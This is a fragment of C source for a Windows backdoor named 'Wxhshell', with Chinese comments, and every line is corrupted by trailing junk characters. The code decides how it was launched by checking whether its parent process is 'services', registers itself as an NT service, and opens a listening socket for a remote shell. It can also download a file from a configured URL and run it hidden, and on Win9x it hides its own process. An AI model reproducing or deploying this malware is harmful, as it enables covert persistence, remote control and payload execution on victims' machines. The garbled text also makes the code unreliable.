ULONG UniqueProcessId; .IgRY\?Q
ULONG InheritedFromUniqueProcessId; K*Ks"Vx
} PROCESS_BASIC_INFORMATION; <r~wZ}s
[} -3PpF
PROCNTQSIP NtQueryInformationProcess; T p<s1'"
wC`;f5->
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w_Uh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _fn1)
@pFj9[N
HANDLE hProcess; vN65T$g7
PROCESS_BASIC_INFORMATION pbi; n-J2/j
dz-y}J11
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t>xd]ti
if(NULL == hInst ) return 0; (RE2I
8]bz(P#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bMm3F%FFq&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Q* 'r&n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D."=k{r.
%d2!\x%bG
if (!NtQueryInformationProcess) return 0; BI/&dKM
I4=Xb^Ux
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =rFN1M/n{E
if(!hProcess) return 0; =lp1Z>
eg<pa'Hw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zb_apjg[4
|^a;77nE_^
CloseHandle(hProcess); 3^,QIG
iPj~I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !yJICjXj
if(hProcess==NULL) return 0; wRvb8F0
3@<zg1.9-
HMODULE hMod; 0N;%2=2_E
char procName[255]; -SCM:j%h
unsigned long cbNeeded; 86
.`T l;
r.yK,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S,jZ3^
4_^[=p/R
CloseHandle(hProcess); nh.32q]
/M=3X||
if(strstr(procName,"services")) return 1; // 以服务启动 *[}^[J
x
"rhYCZ B
return 0; // 注册表启动 .0p^W9
} N|usFqCNk^
8sOQ9
// 主模块 O;uG?.\
int StartWxhshell(LPSTR lpCmdLine) ,$lemH1d
{ %*}Y6tl '|
SOCKET wsl; "ju'UOcS/
BOOL val=TRUE; iE].&>w
int port=0; F@YKFk+a
struct sockaddr_in door; BuOgOYh9
Fhf<T`
if(wscfg.ws_autoins) Install(); EGVM)ur
mtAE
port=atoi(lpCmdLine); ?C-Towo=i
78 f$6J q
if(port<=0) port=wscfg.ws_port; kz}R[7
GVGlVAo|@
WSADATA data; V3Z]DA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g}LAks
0#_'o ,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i3$$,W!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fyknP)21I
door.sin_family = AF_INET; }UwO<#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tc+WWDP#"
door.sin_port = htons(port); I\O\,yPhhP
3uWkc3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4?\:{1X=
closesocket(wsl); >l']H*&B<
return 1; 4T6 {Y
} IxZb$h[
V)ig)(CT
if(listen(wsl,2) == INVALID_SOCKET) { Yf@e=:
closesocket(wsl); L{-LX=G^
return 1; =c.5874A`
} fWnD\mx?0
Wxhshell(wsl); ]6r;}1c
WSACleanup(); M5357Q
NPa\Cg[
return 0; co8"sz0(U
').}N z
} tBbOY}.VD
yw-8#y
// 以NT服务方式启动 r!1D*v5&:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %EbPI)yY3
{ ~^jq(:d)
DWORD status = 0; CNZ z]H
DWORD specificError = 0xfffffff; 8,P-
7^
dP?Ge}
serviceStatus.dwServiceType = SERVICE_WIN32; fxaJZz$o
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z<[<n0o1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \JEXX4%
serviceStatus.dwWin32ExitCode = 0; m,i,n9C->
serviceStatus.dwServiceSpecificExitCode = 0; pKiZ)3U
serviceStatus.dwCheckPoint = 0; ^!<dgBNj
serviceStatus.dwWaitHint = 0; H,3\0BKk
OJ|r6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :}8Z@H!KkY
if (hServiceStatusHandle==0) return; .IBp\7W!?E
'rp }G&m
status = GetLastError(); Mips.Bx
if (status!=NO_ERROR) D"(L5jR8m@
{ g[RI.&?
serviceStatus.dwCurrentState = SERVICE_STOPPED; S{pXs&4O
serviceStatus.dwCheckPoint = 0; ~c^>54
serviceStatus.dwWaitHint = 0; e}/Lk5q!
serviceStatus.dwWin32ExitCode = status; &s Pq<l o
serviceStatus.dwServiceSpecificExitCode = specificError; zi R5:d3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #6Fez`A
return; 'm1N/)F
} B~]5$-
Qd}m`YW-f$
serviceStatus.dwCurrentState = SERVICE_RUNNING; McH>"`
serviceStatus.dwCheckPoint = 0; 9EDfd NN
serviceStatus.dwWaitHint = 0; L37 Y+C//
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~(!XY/0e
} f`9
b*wV
0sN.H=
// 处理NT服务事件,比如:启动、停止 N{
Z
H
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3.22"U\1:
{ 61puqiGG^
switch(fdwControl) ::Ke^dp
{ {~!q`Dr3?q
case SERVICE_CONTROL_STOP: @1.QEyXG
serviceStatus.dwWin32ExitCode = 0; SDu#Yt&mhh
serviceStatus.dwCurrentState = SERVICE_STOPPED; aRG2@5
serviceStatus.dwCheckPoint = 0; L
pR''`2BT
serviceStatus.dwWaitHint = 0; p&+;w
{ 5^']+5_vb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *.L81er5~
} +a-6Q ~
return; VE+IKj!VG0
case SERVICE_CONTROL_PAUSE: 5`
Te\H
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ox#\M0Wn$3
break; 3_~cMlr3T.
case SERVICE_CONTROL_CONTINUE: yjfat&$
serviceStatus.dwCurrentState = SERVICE_RUNNING; Eskb9^A
break; 7VcmVq}X
case SERVICE_CONTROL_INTERROGATE: =mA: ctu~v
break; }ci#>
}; :RoBl3X=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y_\p=0t8
} }*.0N;;C
*K> l*l(f]
// 标准应用程序主函数 =]:> "_jN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GKN%Tv:D_
{ GpZc5c
!Mi;*ZR
// 获取操作系统版本 q _-7i
OsIsNt=GetOsVer(); n6s}ww)
GetModuleFileName(NULL,ExeFile,MAX_PATH); n1!?"m!
*OuStr \o
// 从命令行安装 )Ke*JJaq
if(strpbrk(lpCmdLine,"iI")) Install(); J7r|atSk
fS~;>n%R
// 下载执行文件 oc8:r
if(wscfg.ws_downexe) { ,-7R(iMd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `PY>Hgb
WinExec(wscfg.ws_filenam,SW_HIDE); 5:'hj$~|\1
} B}PIRk@a1
8\{^|y9-
if(!OsIsNt) { X]P:CY
// 如果时win9x,隐藏进程并且设置为注册表启动 C@th O
HideProc(); xg)v0y~
StartWxhshell(lpCmdLine); k0T?-iM
} )M)7"PC
else cA%%IL$R
if(StartFromService()) ]`Oo%$Ue
// 以服务方式启动 rn<PR*
StartServiceCtrlDispatcher(DispatchTable); #1>X58I^
else @)Ofi j
// 普通方式启动 jBegh9KHq
StartWxhshell(lpCmdLine); fk_o@
G!0
5nsq[Q`
return 0; ]Dw]p!@
}